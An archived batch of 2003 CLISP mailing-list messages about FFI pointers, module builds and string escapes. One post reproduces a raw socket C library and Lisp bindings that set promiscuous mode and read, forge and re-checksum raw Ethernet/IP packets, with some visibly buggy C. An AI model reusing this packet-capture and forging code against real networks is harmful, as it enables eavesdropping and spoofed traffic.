by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 11 Sep 2003 09:38:46 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: roland.averkamp@gmx.de MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 2.0 (++) X-Spam-Report: 2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >Von: Roland Averkamp [mailto:roland.averkamp@gmx.de] >Hello, >I am using clisp-2.31 and did the following at the prompt: > >[17]> (ffi:unsigned-foreign-address 65535) ># >[18]> (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535)) ># >[19]> (ffi:foreign-address (ffi:foreign-pointer >(ffi:unsigned-foreign-address 65535))) ># >[20]> [...] Content analysis details: (2.00 points, 5 required) MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Subject: [clisp-list] Re: Problem with ffi:foreign-pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 11 20:51:38 2003 X-Original-Date: Thu, 11 Sep 2003 09:38:45 +0200 >Von: Roland Averkamp [mailto:roland.averkamp@gmx.de] >Hello, >I am using clisp-2.31 and did the following at the prompt: > >[17]> (ffi:unsigned-foreign-address 65535) ># >[18]> (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535)) ># >[19]> (ffi:foreign-address (ffi:foreign-pointer >(ffi:unsigned-foreign-address 65535))) ># >[20]>=20 >I would have expected as results # and ># Nope. 1. What do you need foreign-pointer objects for? Normally people = manipulate FOREIGN-ADDRESS objects (which are used with C-POINTER type = declarations). Until the shared library FFI code became available for MS-Windows and = UNIX, I bet very few people even knew about the existance of = FOREIGN-POINTER objects. 2. most functions returning FOREIGN-ADDRESS objects return a pointer = object relative to what I call the current FFI session pointer. This = one is unique per invocation of CLISP and is a # object. Therefore what you observe is completely normal. This is part of a yet not documented dependency mechanism and allows = setting all sorts of foreign-address obejct invalid with a single call. = I sketched some parts in clisp-list . E.g. all pointers become invalid = when the session is terminated. More precisely, you cannot save a FFI pointer in a Lisp image file and = reuse it in a new invocation (unless you hack the C code). It will have = been marked invalid. 3. I never came to check what Sam implemented as FOREIGN-POINTER and = SETF FOREIGN-POINTER based on my talks in clisp-list. I still have to = look at that code. In my talks/thoughts/proposals, there were means to obtain a = # object. 4. Exceptions to 2. are FOREIGN-LIBRARY, WITH-C-VAR, = WITH-FOREIGN-OBJECT, WITH-FOREIGN-STRING, ALLOCATE-FOREIGN. This = permits to control the validity of the memory regions allocated by = these functions. When their scope exists, or when FOREIGN-FREE is used, = the pointer is marked invalid. Regards, J=F6rg H=F6hle. From fc@all.net Thu Sep 11 22:03:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xg5i-0000N4-00 for ; Thu, 11 Sep 2003 22:03:30 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xg5h-0007Pa-GQ for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 22:03:29 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8C52uL21539 for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 22:02:56 -0700 Message-Id: <200309120502.h8C52uL21539@all.net> To: clisp-list@lists.sourceforge.net (Clisp List) From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: The old version produced a call-rawsock.c file with this: extern uint8 (buffer)[1518]; extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from; extern uint8 (f)[16]; extern uint8 (timestamp)[16]; extern char* ts; extern int (rawsocket)(); extern int (closesock)(); extern uint16 (ipcsum)(); extern uint16 (icmpcsum)(); extern uint16 (tcpcsum)(); extern uint16 (udpcsum)(); extern int (recvfr)(); extern int (sendt)(); extern int (gettime)(); extern int (backup)(); extern int (restore)(); extern int (configdev)(); extern void (perror)(); [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] FFI errors - tracking them closer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 11:55:42 2003 X-Original-Date: Thu, 11 Sep 2003 22:02:56 -0700 (PDT) The old version produced a call-rawsock.c file with this: extern uint8 (buffer)[1518]; extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from; extern uint8 (f)[16]; extern uint8 (timestamp)[16]; extern char* ts; extern int (rawsocket)(); extern int (closesock)(); extern uint16 (ipcsum)(); extern uint16 (icmpcsum)(); extern uint16 (tcpcsum)(); extern uint16 (udpcsum)(); extern int (recvfr)(); extern int (sendt)(); extern int (gettime)(); extern int (backup)(); extern int (restore)(); extern int (configdev)(); extern void (perror)(); The new version misses this part - leading to a signficant failure in the compilation. So I added this into the file and tried from there... and I get errors again after that - which I will trace futher - however, I seem to have a hard time believing that others are having these sorts of problems. Perhaps I did something wrong in install or making the new clisp. Has anyone else experienced these issues? Any suggestions on how to cure it? FC -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From phalgune@jasper01.CS.ORST.EDU Thu Sep 11 22:04:05 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xg6H-0000PL-00 for ; Thu, 11 Sep 2003 22:04:05 -0700 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xg6G-00006s-Rc for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 22:04:04 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with ESMTP id h8C53vCb002941 for ; Thu, 11 Sep 2003 22:03:58 -0700 (PDT) Received: from localhost (phalgune@localhost) by jasper01.CS.ORST.EDU (8.12.4/8.12.4/Submit) with ESMTP id h8C53v8v015687 for ; Thu, 11 Sep 2003 22:03:57 -0700 (PDT) From: amit phalgune To: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hi, I would like to put a escape character in a string Like : (setf A "Z:\ABC") but this remove the "\" character. How do I keep it ? Thanks Amit [...] Content analysis details: (-1.00 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_PINE (0.0 points) Message-Id indicates a non-spam MUA (Pine) REFERENCES (-0.5 points) Has a valid-looking References header Subject: [clisp-list] escape characters in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 11:55:43 2003 X-Original-Date: Thu, 11 Sep 2003 22:03:57 -0700 (PDT) Hi, I would like to put a escape character in a string Like : (setf A "Z:\ABC") but this remove the "\" character. How do I keep it ? Thanks Amit From lisp-clisp-list@m.gmane.org Thu Sep 11 06:16:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xRJA-0001Fc-00 for ; Thu, 11 Sep 2003 06:16:24 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xRJ9-00051S-Ld for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 06:16:23 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xRJ4-0006zB-00 for ; Thu, 11 Sep 2003 15:16:18 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xRJ3-0006z3-00 for ; Thu, 11 Sep 2003 15:16:17 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xRJ7-0004oJ-00 for ; Thu, 11 Sep 2003 15:16:21 +0200 From: Sam Steingold Organization: disorganization Lines: 30 Message-ID: References: <200309110238.XAA09697@traven9.uol.com.br> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* [2003-09-10 23:27:37 +0300]: > I guess I don't have modules because I got a binary. Must get > sources, then? How do I compile CLISP on Win32...? Hmmm...Got some > reading to do... Can you just tip me here: if I have a CLISP, can I > bootstrap the CLISP sources? [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: How do I load the fastcgi module? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:18:50 2003 X-Original-Date: 11 Sep 2003 09:16:21 -0400 >* [2003-09-10 23:27:37 +0300]: > I guess I don't have modules because I got a binary. Must get > sources, then? How do I compile CLISP on Win32...? Hmmm...Got some > reading to do... Can you just tip me here: if I have a CLISP, can I > bootstrap the CLISP sources? get cygwin. get CLISP sources. make sure that FastCGI sources and headers are in the paths (binary and include), set CFLAGS and PATH if necessary. in the top-level CLISP source directory: $ ./configure --with-mingw --with-module=fastcgi --build build-fastcgi $ cd build-fastcgi $ make distrib unzip clisp-2.31-win32.zip in the desired location. (--with-mingw makes sure that your executables will not use any cygwin libraries). -- Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant == non-peeing section in a swimming pool From fc@all.net Thu Sep 11 07:50:48 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xSmW-000488-00 for ; Thu, 11 Sep 2003 07:50:48 -0700 Received: from red.all.net ([216.135.231.242] helo=all.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xSmT-00084B-5B for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 07:50:47 -0700 Received: (from fc@localhost) by all.net (8.11.6/8.11.2) id h8BEoCw27937 for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 07:50:12 -0700 Message-Id: <200309111450.h8BEoCw27937@all.net> To: clisp-list@lists.sourceforge.net From: Fred Cohen Reply-To: fc@all.net Organization: Fred Cohen & Associates X-Mailer: Yes X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: I have now tested the FFI interface using the code and example for vector.o provided with the slisp documentation, and it also failed. This is not good... It looks like call-rawsock.c which was autogenerated from call-rawsock.lisp doesn't generate some header information - [...] Content analysis details: (0.00 points, 5 required) Subject: [clisp-list] Still more on the FFI issue Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:23:38 2003 X-Original-Date: Thu, 11 Sep 2003 07:50:12 -0700 (PDT) I have now tested the FFI interface using the code and example for vector.o provided with the slisp documentation, and it also failed. This is not good... It looks like call-rawsock.c which was autogenerated from call-rawsock.lisp doesn't generate some header information - #include "clisp.h" extern object module__call_rawsock__object_tab[]; subr_t module__call_rawsock__subr_tab[1]; uintC module__call_rawsock__subr_tab_size = 0; subr_initdata_t module__call_rawsock__subr_tab_initdata[1]; object module__call_rawsock__object_tab[1]; object_initdata_t module__call_rawsock__object_tab_initdata[1]; uintC module__call_rawsock__object_tab_size = 0; void module__call_rawsock__init_function_1 (module_t* module) { } void module__call_rawsock__init_function_2 (module_t* module) { register_foreign_variable((void*)&buffer,"buffer",0,sizeof(buffer)); register_foreign_variable((void*)&from,"from",0,sizeof(from)); register_foreign_variable((void*)&f,"f",0,sizeof(f)); ... The errors come because there is no function defined prior to these register things. Since the Raw Socket Interface (which I am trying to compile) is provided for all to use, I figure including it here will help to debug this problem in moving it from clisp-2.27 to clisp-2.31. Appologies if this is too long: The program that builds it (or did under the older clisp version): base=/usr/local/lib/clisp/base;export base rm -rf ${base}/rawsock export CLISP_LINKKIT=/usr/local/lib/clisp/linkkit/ rm -rf call-rawsock.c call-rawsock.fas call-rawsock.lib rawsock /usr/local/lib/clisp/clisp-link create-module-set rawsock call-rawsock.c cc -O -c rawsock.c cd rawsock ln -s ../rawsock.o rawsock.o cp -f ../thingtofix link.sh cd .. ${base}/lisp.run -M ${base}/lispinit.mem -q -c call-rawsock.lisp # it works up to here... /usr/local/lib/clisp/clisp-link add-module-set rawsock ${base} ${base}/rawsock # and this fails with the error messages indicating that the functions # and variables from rawsock.c cannot be found. echo "(exit)" | ${base}/rawsock/lisp.run -q -M ${base}/rawsock/lispinit.mem -i call-rawsock ${base}/rawsock/lisp.run -q -M ${base}/rawsock/lispinit.mem -q -i call-rawsock -c R.lsp -c tg.lsp -c router.lsp echo "Run with ${base}/rawsock/lisp.run -M ${base}/rawsock/lispinit.mem -i call-rawsock" ======================================================================= call-rawsock.lisp: (DEFPACKAGE "RAWSOCK" (:use "LISP" "FFI")) (IN-PACKAGE "RAWSOCK") ; (setq snaplen 1514) (def-c-var buffer (:name "buffer") (:type (c-array uchar 1518)) (:read-only nil) (:alloc :none) ) (def-c-struct sockaddr (sa_family short) (sa_data (c-array char 14))) (def-c-var from (:name "from") (:type sockaddr) (:read-only nil) (:alloc :none)) (def-c-var f (:name "f") (:type (c-array uchar 16)) (:read-only nil) (:alloc :none)) (def-c-var timestamp (:name "timestamp") (:type (c-array uchar 16)) (:read-only t) (:alloc :none)) (def-c-var ts (:name "ts") (:type c-string) (:read-only t) (:alloc :none)) (def-c-call-out rawsocket (:return-type int)) (def-c-call-out closesock (:arguments (s int)) (:return-type int)) (def-c-call-out ipcsum (:return-type ushort)) (def-c-call-out icmpcsum (:return-type ushort)) (def-c-call-out tcpcsum (:return-type ushort)) (def-c-call-out udpcsum (:return-type ushort)) (def-c-call-out recvfr (:arguments (rawsock int)) (:return-type int)) (def-c-call-out sendt (:arguments (rawsock int) (len int)) (:return-type int)) (def-c-call-out gettime (:return-type int)) (def-c-call-out backup (:return-type int)) (def-c-call-out restore (:return-type int)) (def-c-call-out configdev (:arguments (rawsock int) (name c-string) (ipadd int) (prom int) (noarp int)) (:return-type int)) (def-c-call-out perror (:arguments (name c-string))) ======================================================================= rawsock.c: ======================================================================= #include #include #include #include #include #include #include #include #include #define snaplen 1518 #define MAX_DEVICE_NAME_SIZE 14 #define BUFSIZE 2*snaplen #define ETH_HEAD_LEN 14 #define ARP_HEAD_LEN 28 #define IP_HEAD_LEN 20 /* don't use ----ip varible size use ip->ip_hl = num of 32 bit words */ #define TCP_HEAD_LEN 20 /* don't use ----ip varible size use ip->ip_hl = num of 32 bit words */ #define TCP_HEAD_BASE (ETH_HEAD_LEN + IP_HEAD_LEN) #define FIN 0x01 #define SYN 0x02 #define RST 0x04 #define PSH 0x08 #define ACK 0x10 #define URG 0x20 #include void perror(const char *s); int device_count; unsigned char buffer[snaplen], buff[snaplen]; struct sockaddr from, fr; char *f; int from_len; char timestamp[20], *ts=×tamp[0]; time_t *tloc, t; char confighw=0; int rawsocket() {return socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL) );} int closesock(int s) {return close(s);} int backup () {memcpy(buff, buffer, sizeof(buff));memcpy( fr, from, sizeof(from));} int restore () {memcpy(buffer, buff, sizeof(buff));memcpy(from, fr, sizeof(from));} int gettime() {t=time(NULL);strftime(timestamp, 20, "%Y/%m/%d %T", localtime(&t));return(0);} int recvfr(int s) {f=&from;gettime();return(recvfrom(s, buffer, snaplen, 0, &from, &from_len));} int sendt(int s, unsigned int length) {return(sendto(s, buffer, length, 0, &from, sizeof(from)));} int configdev(int s, char *name, int ipadd, int prom, int noarp) {struct ifreq ifrequest; register int i,j; memset(&ifrequest, 0, sizeof(struct ifreq)); strcpy(ifrequest.ifr_name, name); if (ioctl(s, SIOCGIFFLAGS, &ifrequest) < 0) {printf("dev = %s \n", name); perror("SOCKET: get flags ");return -1;} if (prom != 0) {ifrequest.ifr_flags |= IFF_PROMISC;} if (noarp != 0) {ifrequest.ifr_flags |= IFF_NOARP;} if (ioctl(s, SIOCSIFFLAGS, &ifrequest) < 0) {perror("SOCKET: setpromisc "); return -1;} memset(&ifrequest, 0, sizeof(struct ifreq)); strcpy(ifrequest.ifr_name, name); /* add was 0.0.0.0 -> err*/ if (ioctl(s, SIOCGIFADDR, &ifrequest) < 0) {perror("address already 0.0.0.0");} if (ipadd != 0) {if (ioctl(s, SIOCGIFADDR, &ifrequest) < 0) {perror("address already 0.0.0.0");} else {for (j=2;j <6;j++) {ifrequest.ifr_addr.sa_data[j] = 0;} if (ioctl(s, SIOCSIFADDR, &ifrequest) < 0) {perror("SOCKET: setadd"); return -1;} } } return 0;} unsigned short ipcsum() /* IP CHECKSUM */ {register long sum=0; /* assumes long == 32 bits */ unsigned short result; unsigned char *ptr=&(buffer[14]);int nbytes; buffer[24]=0;buffer[25]=0;nbytes=(buffer[14] & 0xF) << 2; /* checksum=0, headerlen */ while(nbytes>1){sum += *ptr; ptr++; sum += *ptr <<8; ptr++; nbytes -= 2;} if(nbytes==1){sum += *ptr;} /* mop up an odd byte, if necessary */ sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum + (sum >> 16)) & 0xFFFF; buffer[24]=(result & 0xFF);buffer[25]=((result >> 8) & 0xFF);return(result);} unsigned short icmpcsum() /* ICMP CHECKSUM */ {register long sum=0; /* assumes long == 32 bits */ unsigned short result; unsigned char *ptr;int nbytes, off, offset; off=((buffer[14]&0xF)<<2);offset=off+14; /* start of ICMP header */ buffer[offset+2]=0;buffer[offset+3]=0; nbytes=(((buffer[16])<<8)+(buffer[17]))-off; /* bytes in ICMP part */ ptr=&(buffer[offset]); while(nbytes>1){sum += *ptr; ptr++; sum += *ptr <<8; ptr++; nbytes -= 2;} if(nbytes==1){sum += *ptr;} /* mop up an odd byte, if necessary */ sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum + (sum >> 16)) & 0xFFFF; buffer[offset+2]=(result & 0xFF);buffer[offset+3]=((result >> 8) & 0xFF);return(result);} unsigned short tcpcsum() /* TCP checksum */ {register unsigned long sum; /* assumes long == 32 bits */ unsigned short result; unsigned char *ptr; unsigned nbytes, packsize, offset; sum = (buffer[26]<<8)+ buffer[27]+(buffer[28]<<8)+ buffer[29]; /* Src IP */ sum +=(buffer[30]<<8)+ buffer[31]+(buffer[32]<<8)+ buffer[33]; /* Dst IP */ sum +=(buffer[23]); /* zero followed by protocol */ packsize=((buffer[16])<<8)+(buffer[17]); /* packet size - not including ARP area */ offset=((buffer[14]&0xF)<<2); /* start of TCP header (rel to IP header) */ sum +=(packsize - offset); /* size of TCP part of the packet */ ptr=&(buffer[offset+14]); /* start of TCP header in buffer */ nbytes=packsize-offset; /* number of bytes to checksum */ buffer[offset+16+14]=0;buffer[offset+17+14]=0; /* initialize TCP checksum to 0 */ while(nbytes>1){sum += *ptr<<8; ptr++; sum += *ptr; ptr++; nbytes -= 2;} if(nbytes==1){sum += *ptr<<8;} /* mop up an odd byte, if necessary */ sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum + (sum >> 16)) & 0xFFFF; buffer[offset+17+14]=(result & 0xFF);buffer[offset+16+14]=((result >> 8) & 0xFF); return(result);} unsigned short udpcsum() /* UDP checksum */ {register unsigned long sum = 0; /* assumes long == 32 bits */ unsigned short result; unsigned char *ptr; int nbytes, packsize, offset; sum = (buffer[26]<<8)+ buffer[27]+(buffer[28]<<8)+ buffer[29]; /* Src IP */ sum +=(buffer[30]<<8)+ buffer[31]+(buffer[32]<<8)+ buffer[33]; /* Dst IP */ sum +=(buffer[23]); /* zero followed by protocol */ packsize=((buffer[16])<<8)+(buffer[17]); /* packet size */ offset=((buffer[14]&0xF)<<2); /* start of UDP header */ sum +=(((buffer[16])<<8)+(buffer[17])) -offset; ptr=&(buffer[offset+14]); /* start of TCP header */ nbytes=packsize-offset; buffer[offset+6+14]=0;buffer[offset+7+14]=0; /* initialize UDP checksum to 0 */ while(nbytes>1){sum += *ptr <<8; ptr++; sum += *ptr; ptr++; nbytes -= 2;} if(nbytes==1){sum += *ptr<<8;} /* mop up an odd byte, if necessary */ sum = (sum >> 16) + (sum & 0xFFFF);result=~(sum + (sum >> 16)) & 0xFFFF; buffer[offset+7+14]=(result & 0xFF);buffer[offset+6+14]=((result >> 8) & 0xFF);return(result);} -- This communication is confidential to the parties it is intended to serve -- Fred Cohen - http://all.net/ - fc@all.net - fc@unhca.com - tel/fax: 925-454-0171 Fred Cohen & Associates - University of New Haven - Security Posture From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 11 09:40:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xUUh-0005vF-00 for ; Thu, 11 Sep 2003 09:40:31 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xUUg-0008NX-AQ for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 09:40:30 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 11 Sep 2003 18:39:57 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 11 Sep 2003 18:39:57 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE06993289@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: roland.averkamp@gmx.de MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 2.0 (++) X-Spam-Report: 2.0/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >Von: Roland Averkamp >I have a foreign-adress and want to read the double-float at the memory >location the address points to. > >So I tried to change the foreign-address behind a >foreign-variable object. [...] Content analysis details: (2.00 points, 5 required) MSG_ID_ADDED_BY_MTA_3 (0.7 points) 'Message-Id' was added by a relay (3) SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Subject: [clisp-list] Re: Problem with ffi:foreign-pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 12 12:28:32 2003 X-Original-Date: Thu, 11 Sep 2003 18:39:56 +0200 >Von: Roland Averkamp >I have a foreign-adress and want to read the double-float at the = memory >location the address points to. > >So I tried to change the foreign-address behind a=20 >foreign-variable object. You want to work on memory contents, so you indeed need = FOREIGN-VARIABLE objects, or foreign-places (which are symbol macros = which encapsulate these objects). >How can I do this otherwise? (with-c-var (place 'c-pointer your-foreign-address) (cast place '(c-ptr double-float))) should dereference that. It's not particularly performant, but it does the job. If you already have a FOREIGN-VARIABLE object instead of a = FOREIGN-ADDRESS, use CAST or DEREF on a place associated with it (see = WITH-C-PLACE). Where did you get the FOREIGN-VARIABLE from? BTW, maybe you could short-circuit with Aurelio Bignoli who worked on = porting BDB (Berkeley DB). He probably faced a similar situation. Regards, J=F6rg H=F6hle. From lisp-clisp-list@m.gmane.org Fri Sep 12 12:28:16 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xtaa-0003k6-00 for ; Fri, 12 Sep 2003 12:28:16 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xtaZ-0000jW-HF for clisp-list@lists.sourceforge.net; Fri, 12 Sep 2003 12:28:15 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xtaR-0004Fc-00 for ; Fri, 12 Sep 2003 21:28:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xtaQ-0004FU-00 for ; Fri, 12 Sep 2003 21:28:06 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xtaW-0003cz-00 for ; Fri, 12 Sep 2003 21:28:12 +0200 From: Sam Steingold Organization: disorganization Lines: 37 Message-ID: References: <200309120502.h8C52uL21539@all.net> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Fred Cohen [2003-09-11 22:02:56 -0700]: > > The old version produced a call-rawsock.c file with this: > > extern uint8 (buffer)[1518]; > extern struct t1261 { sint16 SA_FAMILY; sint8 (SA_DATA)[14]; } from; > extern uint8 (f)[16]; > extern uint8 (timestamp)[16]; > extern char* ts; > extern int (rawsocket)(); > extern int (closesock)(); > extern uint16 (ipcsum)(); > extern uint16 (icmpcsum)(); > extern uint16 (tcpcsum)(); > extern uint16 (udpcsum)(); > extern int (recvfr)(); > extern int (sendt)(); > extern int (gettime)(); > extern int (backup)(); > extern int (restore)(); > extern int (configdev)(); > extern void (perror)(); [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: FFI errors - tracking them closer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: 